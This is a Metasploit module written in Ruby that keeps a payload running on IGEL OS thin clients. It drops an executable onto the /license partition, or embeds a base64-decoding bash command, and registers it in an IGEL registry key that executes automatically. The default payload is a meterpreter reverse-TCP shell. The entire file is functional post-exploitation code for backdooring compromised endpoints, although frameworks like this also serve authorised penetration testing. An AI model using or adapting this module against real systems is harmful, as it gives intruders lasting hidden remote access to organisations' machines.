Files
metasploit-gs/modules/exploits/linux/persistence/igel_persistence.rb
T
2025-11-21 12:04:49 +00:00

109 lines
3.3 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Msf::Post::Linux
include Msf::Post::Linux::System
include Msf::Post::Unix
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Persistent Payload',
'Description' => %q{
Gain persistence for specified payload on IGEL OS Workspace Edition, by writing
a payload to disk or base64-encoding and executing from registry.
},
'Author' => 'Zack Didcott',
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => [ARCH_X64],
'Targets' => [
[
'Linux x86_64', {
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
],
'DefaultTarget' => 0,
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2024-05-16',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options([
OptString.new('REGISTRY_KEY', [
true,
'Registry key to use for automatically executing payload',
'userinterface.rccustom.custom_cmd_net_final'
]),
OptString.new('TARGET_DIR', [true, 'Directory to write payload', '/license']),
OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry', false])
])
end
def check
return CheckCode::Safe('Session does not have root access') unless is_root?
CheckCode::Appears('Session has root access')
end
def install_persistence
if datastore['REGISTRY_ONLY']
print_status('Base64-encoding payload')
encoded_payload = Rex::Text.encode_base64(generate_payload_exe)
command = base64_command(encoded_payload)
else
print_status("Uploading payload to #{datastore['TARGET_DIR']}")
payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700)
command = local_command(payload_file)
end
print_status('Writing persistence to registry')
write_registry(datastore['REGISTRY_KEY'], command)
end
def remount_license(opt = 'rw')
cmd_exec("/bin/mount -o remount,#{opt} /license")
end
def write_payload(contents, dir, perm)
remount_license('rw')
filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
write_file(filepath, contents)
chmod(filepath, perm)
remount_license('ro')
return filepath
end
def base64_command(encoded_payload)
payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}"
"/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'"
end
def local_command(payload_file)
command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'"
return command
end
def write_registry(key, value)
cmd_exec("/bin/setparam \"#{key}\" \"#{value}\"")
end
end